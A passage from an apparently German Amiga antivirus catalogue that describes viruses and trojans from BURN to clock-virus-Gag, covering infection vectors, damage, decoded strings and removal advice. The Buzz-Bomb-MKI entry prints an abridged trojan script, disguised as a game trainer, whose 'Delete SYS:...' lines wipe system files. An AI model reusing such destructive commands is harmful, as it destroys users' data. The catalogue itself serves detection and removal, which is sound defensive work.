  3305.          Zustand versetzen kann, kann ich nicht beurteilen, da mir die
  3306.          Vermehrung nicht gelungen ist.
  3307.          Zerstoerungsroutine:
  3308.            Der Rigid-Bereich wird erreicht, da die Zeile
  3309.                 subq.w #2,d1  vorkommt.
  3310.            Die Laufwerke werden ueber DosEnv besorgt. (dosroot -> dosenv).
  3311.            Disketten mit 11 Sektoren duerften NICHT zerstoert werden (ble.b).
  3312.            BURN wird decodiert mit
  3313.                  move.l #$5171c5c8,d1
  3314.                  eori.l #$13249786,d1
  3315.          Ergebnis in den Sektoren auf meiner SyQuest:
  3316.           0000: 4255524e 4255524e 4255524e 4255524e BURNBURNBURNBURN
  3317.           0010: 4255524e 4255524e 4255524e 4255524e BURNBURNBURNBURN
  3318.           0020: 4255524e 4255524e 4255524e 4255524e BURNBURNBURNBURN
  3319.           0030: 4255524e 4255524e 4255524e 4255524e BURNBURNBURNBURN
  3320.           Da duerfte nicht viel zu retten sein.
  3321.    - BURN-Virus  Typ 2  Link und Zerstoerung
  3322.          Verlaengert ein File um 2428 Bytes
  3323.          Die Vermehrungs-Routine arbeitet jetzt !!!!!!!!
  3324.          Mehrfachlinks an ein File sind moeglich, da eine "Schon-Ver-
  3325.          seucht"-Routine fehlt. Nach 8 Links an echo aufgehoert.
  3326.          Durch  andi.b #$f,d0 wird nicht mehr ab 7.Feb.1994 immer zer-
  3327.          stoert, sondern es werden Tage ausgewaehlt.
  3328.          BURN wird nicht mehr geschrieben, sondern BAF00D0D (wenn ueber-
  3329.          haupt), weil Fehler:
  3330.                  move.l #$baf00d0d,d1
  3331.                  addi.l #$87654541,d0
  3332.                                    ^^
  3333.          Ergebnis in den Sektoren bei mir:
  3334.           0000: baf00d0d baf00d0d baf00d0d baf00d0d ................
  3335.           0010: baf00d0d baf00d0d baf00d0d baf00d0d ................
  3336.           0020: baf00d0d baf00d0d baf00d0d baf00d0d ................
  3337.           0030: baf00d0d baf00d0d baf00d0d baf00d0d ................
  3338.           0040: baf00d0d baf00d0d baf00d0d baf00d0d ................
  3339.          Restliches Verhalten siehe bei BURN Typ 1 .
  3340.  
  3341.    - BUTONIC 1.1     anderer Name BAHAN (im BB immer lesbar)
  3342.          Cool, im Prg. DoIo, immer ab $7ec00, FastMem ja
  3343.          Vermehrung: ueber BB wenn DOS0 gefunden
  3344.          Textausgabe mit PrintIText (entschluesselt mit eori.b #-1,d1
  3345.          nach $7eb0c)
  3346.          im Speicher dann sichtbar:
  3347.      BUTONIC'S VIRUS 1.1 GREETINGS TO HACKMACK ... <GENERATION NR. #####>
  3348.  
  3349.    - Buzz-Bomb-MKI       Loesch-Script-File
  3350.       Keine verbogenen Vektoren
  3351.       Namen:
  3352.        Skid_Row-SSII      Laenge: 57449 Bytes
  3353.        Skid_Row-SSII.info Laenge: 950 Bytes
  3354.       Inhalt des ersten Files (gekuerzt):
  3355.  
  3356.  echo " "
  3357.  echo "                             Silent Service II                    "
  3358.  echo " "
  3359.  echo "                                Mega-Trainer                       "
  3360.  echo " "
  3361.  echo "                               by - SKID ROW                       "
  3362.  Echo " "
  3363.  ;
  3364.  ;.... von mir Teile geloescht
  3365.  ;Buzz Bomb MKI, on the Attack... Flying Straight outa Reallity Control
  3366.  ;Coded 9-12-91 by The Christening Man, if your reading this, Congrats...
  3367.  ;BBBBBBBBBBBBBBBBBBBBBBBBBBBBZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
  3368.  ;BBBBBBBBBBBBBBBBBBBBBBBBBBBBZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
  3369.  ;BBBBBBBBBBBBBBBBBBBBBBBBBBBBZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
  3370.  Delete Sys:c/cd
  3371.   ;.....von mir geloescht.....
  3372.  echo "Working..."
  3373.    ;geloescht .....
  3374.  Delete SYS:c/loadWb
  3375.  Delete SYS:c/Assign
  3376.  Delete SYS:s/Startupii
  3377.  Delete SYS:Libs/Mathieeedoubbas.library
  3378.  Delete SYS:Devs/mountlist
  3379.  Delete Sys:Devs/Serial.device
  3380.  Delete Sys:L/Newcon-handler
  3381.  Echo >sr "Wait 5"
  3382.  echo >>sr "Delete Skid_Row-SSII"
  3383.  ;You have reached the end you Stupid Fuck!!!
  3384.  run execute sr
  3385.  quit
  3386.  
  3387.        Durch das Icon wird IconX aufgerufen und das File abgearbeitet.
  3388.        Ueber echo wird zuerst ein Taeuschtext ausgegeben und dann mehrfach
  3389.        delete aufgerufen. Die Laenge von 57449 Bytes ergibt sich durch
  3390.        staendige Wiederholung der Zeilen ;Buzz .... ZZ . Weiterhin wird ein
  3391.        File mit dem Namen sr und Laenge 119 Bytes angelegt.
  3392.       Inhalt sr-File:
  3393.           57616974 20350a44 656c6574 6520536b Wait 5.Delete Sk
  3394.           69645f52 6f772d53 5349490a 3b42757a id_Row-SSII.;Buz
  3395.           7a20426f 6d62204d 4b49202d 20627920 z Bomb MKI - by
  3396.           54686520 43687269 7374656e 696e6720 The Christening
  3397.           4d616e0a 3b502e53 2e20596f 7572202a Man.;P.S. Your *
  3398.           20465543 4b494e47 204c414d 45202a20  FUCKING LAME *
  3399.           2620536b 69642052 6f772c20 5355434b & Skid Row, SUCK
  3400.           204d4521 21210a00 00000000 00000000  ME!!!..........
  3401.       VT bietet Loeschen an.
  3402.  
  3403.  
  3404.    - BX-Updater-Bomb   File   Laenge: 2052
  3405.          Keine verbogenen Vektoren.
  3406.          Namensbegruendung: es wird ein Fenster geoeffnet, das fol-
  3407.          genden Text in der Fensterleiste enthaelt:
  3408.            ff224e75 5241573a 302f302f 3634302f ."NuRAW:0/0/640/
  3409.            3230302f 426f6f74 582d5570 64617465 200/BootX-Update
  3410.            72206279 20534849 20536166 65204865 r by SHI Safe He
  3411.          usw.
  3412.          Im Fenster selbst wird sinnloser Text ausgegeben, der den
  3413.          Ruf von SHI schaedigen soll.
  3414.          In Wirklichkeit wird ein format QUICK NOICONS ausgefuehrt.
  3415.          Betroffen: WORK, DH0: und DF0:
  3416.          Ein FehlerRequester soll durch das Prg. unterdrueckt werden.
  3417.          VT bietet loeschen an.
  3418.  
  3419.    - Byte Bandit       ohne FastMem
  3420.          Begin, KickTag, KickCheckSum, Vec5
  3421.          KS2.04: nein  bei mir Guru 4
  3422.          Im BB ist zu lesen:
  3423.            56697275 73206279 20427974 65202020 Virus by Byte
  3424.            42616e64 69742069 6e202039 2e38372e Bandit in  9.87.
  3425.            4e756d62 6572206f 66202020 20202020 Number of
  3426.            636f7079 73203a00 0000032d 48e77f7f copys :....-H.
  3427.            ;weit unten ....
  3428.            74726163 6b646973 6b2e6465 76696365 trackdisk.device
  3429.            00646f73 2e6c6962 72617279 00000000 .dos.library....
  3430.  
  3431.    - Byte Bandit 2    anderer Name: No Name 1  s.u.
  3432.  
  3433.    - Byte Bandit Clone     ohne Fastmem
  3434.       Diff zu OrigByteBandit: 180 Bytes
  3435.      (  Byte B.. Text wurde aus BB entfernt !!)
  3436.  
  3437.    - ByteBanditError
  3438.       das OriginalByteBanditVirusPrg. beginnt im BB bei $0C, hier bei $32
  3439.       Da die alte BB-Copy Routine verwendet wird, ist das 1.LW im neuen
  3440.       Copy-BB nicht DOS0, d.h. die neu verseuchte Disk ist "Not a DOS-Disk"
  3441.       also weder boot- noch vermehrungsfaehig
  3442.  
  3443.    - ByteBanditPlus  Kick1.2 ohne FastMem
  3444.                   Begin, KickTag, KickCheckSum, Vec5
  3445.       Diff zu OBB: 92 Bytes
  3446.       (zusaetzlich trackdisk.... entfernt)
  3447.  
  3448.    - ByteParasite       reines Zerstoerungsprogramm  Laenge: 2108
  3449.       soll auch $6c verbiegen, aber vorher GURU
  3450.       Schaeden:
  3451.       soll zwischen cd, dir und startup-sequence je 1 Byte austauschen, aber
  3452.       sehr sehr schlecht programmiert (Anfaenger spielt besser mit dem
  3453.       Joystick). Deshalb meist GURU.
  3454.       Keine Vermehrung, keine Textausgabe
  3455.  
  3456.    - BYTEPARASITE II  File, Laenge ungepackt: 908 Bytes
  3457.       Auch mit KS2.04, keine Vektoren verbogen
  3458.       Taeuscht durch das Zeigen einer Fensterleiste:
  3459.          VirusX: Checking Device Df0:
  3460.       Versucht dann von df0:c VirusX nach df1:c zu kopieren und
  3461.       verraet sich so wenn in df1: keine Disk liegt durch einen
  3462.       Requester.
  3463.       Gefahr der Vermehrung besteht nur wenn BYTEPARASITE II als
  3464.       VirusX getarnt in df0:c vorhanden ist.
  3465.       Aus dem Text im File kann geschlossen werden, dass damit
  3466.       ein Antivirusprogrammierer geaergert werden soll:
  3467.          But now send me to : (Adresse)
  3468.  
  3469.    - BYTEPARASITE III   File, Laenge ungepackt: 2160 Bytes
  3470.       Cool, KickMem, KickCheckSum  (teilweise sinnlose Werte ausser-
  3471.          halb des vorhandenen Speichers)
  3472.       $6c  (sinnvoller Wert)
  3473.          Das Programm MUSS !!!! im Speicher geloescht werden, sonst
  3474.          erscheint nach einigen Arbeiten mit dem Computer sicher
  3475.                Task held usw. . Dies ist nicht Absicht, sondern die
  3476.          sinnlosen Werte sind verantwortlich.
  3477.       Taeuscht durch das Zeigen einer Fensterleiste:
  3478.          Virus-Checker V3.0 by   usw
  3479.       Sucht c/Virus-Checker und schreibt Prg-Teile (falls gefunden)
  3480.       absolut nach $7C000. Versucht in einem anderen LW mit SubDir c
  3481.       Virus-Checker anzulegen (bei mir IMMER dann Filelaenge 0).
  3482.       Verraet sich durch DOS-Requester.
  3483.       Hinweis: Hallo Enforcer-Freunde. VT erzeugt hier beim Test
  3484.          einen weiteren Enforcer-Hit. ($6c=ZeroPage)    
  3485.       Nachtrag: Stand 14.02.92
  3486.          Leider haben mich einige Briefe erreicht, die darauf hin-
  3487.          weisen, dass Hardwareschaeden (sinnlose Werte s.o.) durch BP3
  3488.          verursacht werden. Stellvertretend ein Auszug:
  3489.      ".... musste ich feststellen, dass der Steppermotor sich am Spindel-
  3490.       ende zur Laufwerksmitte festgedreht hatte....
  3491.       ... drehte die Spindel mit der Spitzzange zurueck...
  3492.       ... das Laufwerk/Schreib-Lesekopf muss neu justiert werden."
  3493.      Es ist also im Amiga-Bereich jetzt auch der Punkt erreicht, dass
  3494.      Viren Hardwareschaeden verursachen koennen. NIE !!!!! eine unbe-
  3495.      kannte Disk starten. Nehmen Sie sich die Zeit und testen Sie die
  3496.      Disk mit einem AntiVirusProgramm ihrer Wahl durch !!!
  3497.    - Clone aufgetaucht. Filename FCheck
  3498.       Laenge gepackt:   1368 Bytes
  3499.       Laenge ungepackt: 2160 Bytes
  3500.       Text geaendert. Der geistige Tiefflug geht soweit, dass nicht er-
  3501.       kannt wurde, dass  cmpi.l #"-che",(a0)  in  cmpi.l #"_Che" ge-
  3502.       aendert werden muesste. Es ist halt bei der Selbsterkennungs-
  3503.       routine ein kleiner Unterschied zwischen - _ und c C .
  3504.       Das Teil stammt nie und nimmer aus Bulgarien.
  3505.            62726172 7900632f 56697275 735f4368 brary.c/Virus_Ch
  3506.            65636b65 7200632f 56697275 735f4368 ecker.c/Virus_Ch
  3507.            65636b65 72004275 6c676172 69616e20 ecker.Bulgarian
  3508.            416e7469 6c616d65 7220616e 64205669 Antilamer and Vi
  3509.            72696861 636b6572 20262043 7261636b rihacker & Crack
  3510.            65722047 6d624800 2042554c 47415249 er GmbH. BULGARI
  3511.            41000056 69727573 5f436865 636b6572 A..Virus_Checker
  3512.            2056362e 34206279 204a6f68 6e205665  V6.4 by John Ve
  3513.            6c647468 75697320 20004368 65636b69 ldthuis  .Checki
  3514.            6e672044 46303a20 466f7220 56697275 ng DF0: For Viru
  3515.  
  3516.    - BYTE VOYAGER I  BB  Kicktag, KickCheckSum, im Prg. DoIo und $6c
  3517.          immer ab $7F000, verschluesselt mit $DFF006
  3518.       Decodiert ist im BB zu lesen:
  3519.                                      4e751e49             Nu.I
  3520.           6e666563 74656420 62792042 59544520 nfected by BYTE
  3521.           564f5941 47455220 21212121 21000000 VOYAGER !!!!!...
  3522.  
  3523.       Vermehrung und Schäden (auch HD !!):
  3524.       Bootblock und schreibt in Block 880 "Infected by BYTE VOYAGER !!!!!"
  3525.       Der Text ist bei Disks der neue Diskname.
  3526.       Clone: STARCOM 3 Virus   siehe unten
  3527.  
  3528.    - Byte Voyager II  BB  Kicktag, KickCheckSum, im Prg. DoIo und $6c
  3529.          immer ab $7F000, verschluesselt mit $DFF006
  3530.  
  3531.       Vermehrung und Schäden (auch HD !!):
  3532.       Bootblock und schreibt in Block 880 "Another Virus by Byte Voyager"
  3533.       Der Text ist bei Disks der neue Diskname.
  3534.  
  3535.    - Byte Warrior (DASA)  BB  (KickV1.2)
  3536.          DoIo, KickTag, KickCheckSum
  3537.          erster BB-Virus, der verschluesselt wurde
  3538.       moegliches Ursprungsprogramm: ByteWarriorCreater
  3539.                      gepackt: 6012 Bytes  (TNM)
  3540.                    ungepackt: 7360 Bytes
  3541.         Erzeugt mit FastMem   NDOS-Disk
  3542.         Schreibt ohne FastMem ByteWarrior in Bootblock von DF1:
  3543.      Clone: Paramount, MAD 3, MAD 3b
  3544.  
  3545.  
  3546.    - C.E.-Vir-Inst
  3547.        Filename: Install  Filelaenge: 11132 Bytes
  3548.        Soll C.E.-Virus aktivieren
  3549.        VT bietet loeschen an.
  3550.  
  3551.    - C.E.-Virus  Cryptic Essence  Link
  3552.        KS2.04: ja (verwendet Befehle (FreeVec), die erst ab dieser Vers.
  3553.                    bekannt sind)
  3554.        Verbogener Vektor: DosWrite
  3555.        Nicht Resetfest
  3556.        Verlaengert File NICHT !!!!!!!
  3557.        Decodiert und Fileteile entpackt (!!!!), ist zu lesen:
  3558.                     43727970 74696320 45737365     Cryptic Esse
  3559.            6e63652c 20a92031 39393520 4576696c nce, . 1995 Evil
  3560.        Ablauf:
  3561.        Das Teil linkt sich IN (!!!!!!) den 1.Hunk
  3562.        1.Hunk mind. 9216 Bytes
  3563.        3F3 = ausfuehrbar wird gefunden
  3564.        3E9 = CodeHunk wird gefunden
  3565.        4AFC am Hunkanfang (bis 4 Bytes tief) wird nicht gefunden
  3566.        (also keine Res-Struk. z.B. bei libs usw.)
  3567.        3EC = RelocHunk wird gefunden.
  3568.        Das 1.Langwort des 1.Hunks wird durch 4EFA abcd (jmp Virus) er-
  3569.        setzt.
  3570.        Das VirusTeil codiert sich in Abhaengigkeit von $DFF006 usw. bei
  3571.        der Vermehrung.
  3572.        Die D- und A-Register wechseln.
  3573.        Sub und Add wechseln.
  3574.        NEU !!!!!
  3575.        Um die verseuchte Filelaenge gleich mit der Original-Filelaenge
  3576.        zu halten, werden Teile des Files gepackt !!!!!!!!!!!!
  3577.        Versuche haben gezeigt, dass auf meiner WB-Partition nur SEHR
  3578.        WENIGE Files ALLE Bedingungen erfuellen und dann verseucht werden.
  3579.        VT sollte das Teil im Speicher erkennen und abschalten.
  3580.        VT versucht ein verseuchtes File wieder in den Ursprungszustand
  3581.        zurueckzuversetzen. Das ist bei meinen Tests gelungen. Da aber nur
  3582.        SEHR WENIGE Files zum Test geeignet sind, MUSS das mit VT NICHT
  3583.        IMMER gelingen. Ueberlegen Sie bitte, das betroffene File neu auf-
  3584.        zuspielen.
  3585.  
  3586.  
  3587.    - cALLERSLOG.SFX  Laenge:8428  siehe bei COP-Trojan Typ G
  3588.  
  3589.  
  3590.    - CallingCard-Trojan    gegen BBS   File  Loeschen
  3591.         Laenge: 11368 Bytes
  3592.         A4000: ja
  3593.         KEINE verbogenen Vektoren
  3594.         KEINE Vermehrung
  3595.         Im File ist zu lesen (uncodiert):
  3596.            4e754d43 49204361 6c6c696e 67436172 NuMCI CallingCar
  3597.            64204861 636b6572 20627920 42795465 d Hacker by ByTe
  3598.            25732f46 696e6c61 6e6420ae 31393935 %s/Finland .1995
  3599.            0a0a0000 3f005573 6167653a 20257320 ....?.Usage: %s
  3600.         Wenn Sie SnoopDos starten, muessen Sie leider feststellen, dass
  3601.         nach BBS:user.data gesucht wird. Dieser Textstring liegt aber
  3602.         codiert im File. Also hat da jemand etwas zu verbergen.
  3603.  
  3604.  
  3605.    - Cameleon-Virus  BB    siehe bei Little Sven
  3606.  
  3607.    - Cascade-Virus  BB
  3608.       Im Speicher immer ab $7E000
  3609.       Cool $7E060, DoIo $C0, Vec5 $E0 (also beide in der ZeroPage)
  3610.       Fordert trackdisk.device NICHT
  3611.       Namensbegruendung:
  3612.        Am Ende des BBs ist zu lesen:
  3613.         Cascade V2.1CCount :
  3614.       Vermehrung: als BB
  3615.        z.B. linke Maustaste nicht gedrueckt
  3616.        Es werden 1 oder 2 Bloecke mit DoIo geladen
  3617.        DOS0-Kennung wird gefunden.
  3618.        Test auf "SCA ", "Casc", "ID92"
  3619.       Schaeden:
  3620.        a) Schreibt von $c0 bis $FF in die ZeroPage. Dies ist unter
  3621.        KS1.3 unschaedlich, da dieser Bereich NICHT vom Betriebs-
  3622.        system genutzt wird. Ab KS2.04 liegen da aber Vektoren. Da
  3623.        das Virusteil den Bereich vor dem Ueberschreiben nicht
  3624.        rettet, kann es zu einem Guru kommen.
  3625.        Cascade_ZeroPage
  3626.          00b0: 00f80a94 00f80a96 00f80a98 00f80a9a ................
  3627.          00c0: 0c794ef9 0007e066 670c42b9 000006a4 .yN....fg.B.....
  3628.          00d0: 4ef900f8 08084ef9 0007e072 43617363 N.....N....rCasc
  3629.          00e0: 0c794ef9 0007e06c 670c42b9 000006a4 .yN....lg.B.....
  3630.          00f0: 4ef900f8 17044ef9 0007e078 61646521 N.....N....xade!
  3631.        b) Sobald eine Zaehlzelle den Wert $DEC und eine andere Zaehl-
  3632.        zelle den Wert #5 erreicht hat wird mit graphic.lib der Maus-
  3633.        zeiger in eine Penis-Darstellung umgewandelt. Dies hat bei
  3634.        mir nur mit KS1.3 funktioniert. Mit KS2.04 habe ich sofort
  3635.        den Guru gesehen.
  3636.        Siehe auch Firedom.BB Virus = Clone
  3637.  
  3638.    - CBM-Virus   BB  nur KS1.2  MicroSystems-Clone  s.u.
  3639.       nur Text geaendert.
  3640.            79726967 68746564 20627920 62696720 yrighted by big
  3641.            205d830c 436f6d6d 6f646f72 65204147  ]..Commodore AG
  3642.  
  3643.    - CCCP-Virus    Cool, im Prg. Vec3, DoIo, Openwindow, NewOpenLib !!!!
  3644.       Erstes VirusPrg. das sich als BB und als Link vermehren kann !!
  3645.          KS1.3  ja
  3646.          KS2.04 ja
  3647.          Mehrfachlinks: ja
  3648.          Defekte Files: ja   (Hunkstruktur defekt nur loeschen moeglich)
  3649.       im BB sichtbar: CCCP VIRUS
  3650.       Link: verlaengert ein File um 1044 Bytes
  3651.       Befaellt keine Prg.e in l (z.B.libs), d (z.B.devs), f (z.B.fonts).
  3652.       Clone: STARCOM 1 Virus, IRAK3  siehe unten
  3653.  
  3654.    - CCCP-TAI6-Clone
  3655.       Text geaendert:
  3656.            70004e75 542e412e 492e2053 49584df8 p.NuT.A.I. SIXM.
  3657.  
  3658.    - CED-AMOS-Trojan   Zerstoerung ????
  3659.       Filename: CygnusEd   Laenge: 53380 Bytes
  3660.       Nach FileID: Cygnus Editor Pro v4.0 HOT UPDATE!
  3661.       Nach Fremdaussage: Ein Zerstoerungsprogramm
  3662.       Bei mir endet jeder Aufruf auf allen meinen Rechnern (KS1.3-40.70),
  3663.       auch mit AMOS immer mit Guru.
  3664.       Ein CygnusEd ist es auf jeden Fall nicht. Vielmehr koennen Sie im
  3665.       File sehr haeufig Hinweise auf Amos lesen.
  3666.       Empfehlung deshalb: Loeschen
  3667.  
  3668.    - CED4-Trojan  siehe bei CoP-Trojan
  3669.  
  3670.    - CENTURIONS     anderer Name: THE SMILY CANCER   siehe dort
  3671.  
  3672.    - CFP-Gefahr !!!
  3673.       Kein Virus   ABER !!!!!!!!!!!!!
  3674.       Im 1.Hunk des Files ist zu lesen:
  3675.           63292069 43415255 532f6469 56694445 c) iCARUS/diViDE
  3676.       Vorsicht !!!!  Vorsicht !!!!
  3677.        Die meisten Antivirusprogramme finden Viren auch in gepackten
  3678.        Files. Anscheinend hat jemand die Erkennung von gepackten Files
  3679.        erschweren wollen, und hat deshalb ein Programm geschrieben,
  3680.        um den Antivirusprogrammen die Arbeit zu ERSCHWEREN.
  3681.        Es wird anscheinend ein Codeteil vor den Pack-Header geschrieben,
  3682.        der auch Text (siehe oben) enthaelt.
  3683.        Falls also VT so ein File meldet, ist EXTREME Vorsicht geboten.
  3684.        Das gepackte File koennte mit der Absicht veraendert sein, ein
  3685.        gefaehrliches Virusteil zu verbergen. Versuchen Sie UNBEDINGT
  3686.        einen Ausbau mit VT und pruefen Sie BITTE danach das File
  3687.        SEHR GENAU. Danke
  3688.  
  3689.    - Challenger   trojanisches Pferd
  3690.       Keine Vektoren verbogen.
  3691.       Herkunft: FF622  challenger_d.main  Laenge: 126336 Bytes
  3692.       Ablauf (vgl. Snoopdos): Sobald Sie das Spiel starten, wird ein
  3693.       Original-Setclock-Befehl (4884 Bytes) in SYS:devs/keymaps ange-
  3694.       legt und in a umbenannt. In c: wird ein neuer Setclock-Befehl
  3695.       angelegt:
  3696.          Laenge gepackt mit Imploder: 4884  (explode.lib)
  3697.                             entpackt: 7344
  3698.       Weiterhin wird in SYS:devs/keymaps noch ein File mit Namen rca
  3699.       angelegt:
  3700.          Laenge gepackt mit Imploder: 5328  (explode.lib)
  3701.                             entpackt: 8388
  3702.       Vermehrung: nur nach SYS:
  3703.       Der setclock-Befehl sollte in der startup-sequence stehen (ab
  3704.       KS2.04 NICHT mehr notwendig !!!). Deshalb rufen Sie bei jedem
  3705.       Boot-Vorgang auch diesen Befehl auf. Dies ist am 24. Juli eines
  3706.       Jahres gefaehrlich. An diesem Tag wird das File rca auch aufge-
  3707.       rufen. Es wird ein Text (schwarzer Hintergrund rote Schrift)
  3708.       ausgegeben und der Rechner blockiert.
  3709.          
  3710.            Guten Tag, hier ist der Guru Ihres
  3711.            Amiga-Computers. Laut Arbeitsvertrag
  3712.            habe ich das Recht auf einen Medita-
  3713.            tionstag pro Jahr. In meinem Fall ist
  3714.            das der 24. Juli jeden Jahres. Da wir
  3715.            heute dieses Datum schreiben, stehe ich
  3716.            Ihnen erst morgen wieder zur Verfügung.
  3717.            Bitte haben Sie Verständnis dafür, denn
  3718.            auch wir Gurus müssen einmal ausruhen.
  3719.  
  3720.       Es sind noch weitere Texte in rca vorhanden, aber die wurden
  3721.       bei mir nicht ausgegeben. Die Zerstoerung von Files wurde
  3722.       von mir nicht festgestellt.
  3723.       Empfehlung: entsprechende Files in c und keymaps loeschen und
  3724.       setclock von OrigWB-Disk neu nach c: kopieren.
  3725.       Arbeit mit VT:  (getestet: 16.04.92)
  3726.       challenger_d.main  wird geloescht
  3727.       c:setclock  es wird ein rename mit devs/keymaps/a versucht. Falls
  3728.       nicht vorhanden, wird setclock allein geloescht. Sie muessen dann
  3729.       unter KS1.3 setclock von OrigWB-Disk neu kopieren
  3730.       devs/keymaps/rca  wird geloescht.
  3731.       Hinweis Stand 16.06.94:
  3732.       BBS-Spiel GlobalWar Laenge 100136 Bytes
  3733.       In diesem Spiel wird im Moment von EINEM anderen AntiVirusProgramm
  3734.       das Challenger-Virus erkannt. Ich nehme an, dass diese Fehlerkennung
  3735.       beim naechsten Update dieses AntiVirusProgramms behoben sein wird.
  3736.       Richtig ist allerdings
  3737.       - Challenger-setmap entpackt  (so kommt es aber im Original NICHT vor)
  3738.       - Challenger-rca entpackt     (so kommt es aber im Original NICHT vor)
  3739.       - GlobalWar
  3740.       stimmen im ERSTEN Hunk bis auf Sprungbefehle sehr gut ueberein. Die
  3741.       Virustexte stehen aber bei Challenger im zweiten Hunk. GlobalWar
  3742.       sieht im Zweiten anders aus. Ob es sich beim ersten Hunk um eine
  3743.       veroeffentlichte Startup-Routine handelt, kann ich nicht beurteilen.
  3744.       Ich kann mir das aber nur so erklaeren, oder ?????
  3745.  
  3746.    - Chameleon-Virus  BB    siehe bei Little Sven
  3747.  
  3748.    - Chaos      anderer Name: Taipan-Chaos
  3749.       Cool, DoIo
  3750.       BB codiert mit Wert aus $DFF006
  3751.       Schaeden:
  3752.       Vermehrung mit BB
  3753.       sobald Zaehlzelle 8 erreicht hat:
  3754.       alle Blocks einer Disk werden mit unsinnigen Werten gefuellt,
  3755.       DisplayAlert: Chaos! by Tai-Pan   usw.
  3756.       dann reset
  3757.       Herkunft: Virusinstall V2.0
  3758.  
  3759.    - CHAOS-MASTER V0.5   File   PP-Laenge: 12972, ungepackt:16676
  3760.          Im ungepackten File ist zu lesen:
  3761.             73696368 206a6574 7a74206d 69742043 sich jetzt mit C
  3762.             48414f53 2d4d4153 54455220 56302e35 HAOS-MASTER V0.5
  3763.          Filename wahrscheinlich: dir
  3764.          KEINE bekannten Vektoren verbogen, nicht resetfest
  3765.       Schaeden und Vermehrung:
  3766.          - dir-Befehl wird manchmal nicht ausgefuehrt. Ein kleines
  3767.            Fenster erscheint: Error xyz, Return-Gadget
  3768.             die Zahl xyz kann auch negativ sein und entspricht NICHT
  3769.             dem DOS-Error-Code.
  3770.          - Sie geben ein: dir df3:
  3771.            Das Inhaltsverzeichnis von df3 wird ausgegeben und das
  3772.            Virus-File nach df3:c/dir kopiert. Ein bereits vorhandener
  3773.            Dir-Befehl wird ueberschrieben.
  3774.          - Sie geben ein: dir prefs
  3775.            Das Inhaltsverzeichnis von prefs wird ausgegeben und ein File
  3776.            disk.info (Laenge:370 Bytes) nach prefs kopiert. Dieses File
  3777.            enthaelt am Anfang die Icon-Struktur. Der groessere Teil der
  3778.            Struktur ist durch Text ueberschrieben. Folge: Sie klicken
  3779.            die Prefs-Schublade an, disk.info muesste als Icon darge-
  3780.            stellt werden, geht aber nicht, da Struktur nicht in Ordnung.
  3781.            Also stellt der Computer die Arbeit ein. Reset wird notwendig.
  3782.            Text in disk.info: Sorry an alle User  usw.
  3783.          - Sie geben ein: c/dir df3:
  3784.            Inhaltsverzeichnis wird ausgegeben und das Virus-File nach
  3785.            df3:c/r  (!!!! Programmierfehler) geschrieben.
  3786.       Empfehlung: dir-Befehl loeschen (VT) und von OrigWB neu kopieren.
  3787.  
  3788.    - Charlie Braun      anderer Name: Hireling Protector V1.0
  3789.       ForpibClone  s.u.    nur Text geaendert
  3790.  
  3791.    - CHEATER HIJACKER  BB   auch KS2.04    LameBlame-Clone s.u.
  3792.          DisplayAlert-Text geaendert:
  3793.             -+= CHEATER HIJACKER     usw.
  3794.       Wird auch erzeugt von VIRUS TERMINATOR V6.0  s.u.
  3795.  
  3796.    - Check    File   PP-crunched   Laenge:18644
  3797.       Process: HardDisk.device
  3798.       in C-Aztek
  3799.       Schaeden: alle 5 Min (delay $3a98) Bild (Totenkopf) und Sound
  3800.       fuer kurze Zeit.
  3801.       KEINE Vermehrungsroutine gefunden
  3802.       Soll wohl ein Gag sein. Solche Gags mag ich nicht.
  3803.       Es KANN bei der Suche nach dem Prozess zu einer Falschaussage
  3804.       von VT kommen, falls ein Hardwarehersteller fuer einen Kon-
  3805.       troller ein Device mit obengenannten Namen herausbringt oder
  3806.       herausgebracht hat. In diesem Fall bitte ich um einen Hinweis.
  3807.       Danke !!!
  3808.  
  3809.    - CheckMount-Trojan   siehe bei WiREFACE Typ F
  3810.  
  3811.    - CHRISTMAS VIOLATOR   Link
  3812.       Soll einen zusaetzlichen 1.Hunk erzeugen.
  3813.       Verlaengert File um 1060 Bytes
  3814.       Verwendet aufs Byte genau die IRQ-Linkroutine
  3815.       Braucht ExecBase im Speicher ab $C00000
  3816.       Cool immer $7E07a, im Prg. OldOpenLib immer $7FB88
  3817.       Nur mit KS1.3, da absoluter ROM-Einsprung.
  3818.       Programm liegt zweigeteilt ab $7E000 und $7FB84 im Speicher.
  3819.       Der Linkvorgang konnte NICHT erreicht werden, da im Programm
  3820.       MEHRERE Fehler vorliegen. Immer GURU 3. VT-Empfehlung: loeschen
  3821.       Namensbegruendung:
  3822.        Ein Programmteil, das NIE erreicht wird, decodiert mit
  3823.            eori.b #$27,(a1)+  ergibt:
  3824.                                       203e3e3e              >>>
  3825.            20434852 4953544d 41532056 494f4c41  CHRISTMAS VIOLA
  3826.            544f5220 62792074 68652044 7265616d TOR by the Dream
  3827.            20546561 6d202d20 28484520 4845293c  Team - (HE HE)<
  3828.            3c3c2020 48617665 2061206e 69636520 <<  Have a nice
  3829.            6461792e 2e2e2000                   day...
  3830.  
  3831.    - CIRCLE OF POWER  siehe bei NComm32-Trojan
  3832.  
  3833.    - Claas Abraham     andere Namen: Abraham, MCA
  3834.       Cold, Cool, KickTag, KickCheckSum, $68
  3835.       braucht FastRam !!!!! Angefordert mit #$4,d1 und AllocMem
  3836.       (Programmierfehler ????)
  3837.       im Prg.Ablauf erst BeginIo
  3838.       Vermehrung: ueber BB
  3839.       Schaden: nach $F-Resets Formatierung
  3840.       Eor-Byte wird fuer neuen BB aus $DFF006 erzeugt
  3841.       entschluesselt steht im Speicher:
  3842.       >>> Claas Abraham Virus !!! <<<
  3843.       Hinweis: Ein Kopier-Prg. erkennt den ORIGINAL-Turrican3-BB als
  3844.       Claas-Abraham-BB-Virus. Ich gehe davon aus, dass im naechsten
  3845.       Update die Fehlerkennung behoben ist.
  3846.  
  3847.    - Clist-Virus      siehe bei Lamer-Clist-Virus
  3848.       anderer Name: U.K.LamerStyle oder Lame Style U.K.
  3849.       Der Name Lamerstyle ist fuer mich nicht nachvollziehbar, waehrend
  3850.       clist im Prg-Code vorkommt (s.u.).
  3851.  
  3852.    - clock-virus-Gag            L: 7684 Bytes
  3853.       Filename:clockvirus (so hab ich das File ohne dok erhalten)
  3854.       Keine Vermehrung
  3855.       Nach meiner Meinung kann in der Uhr kein Virus sein.
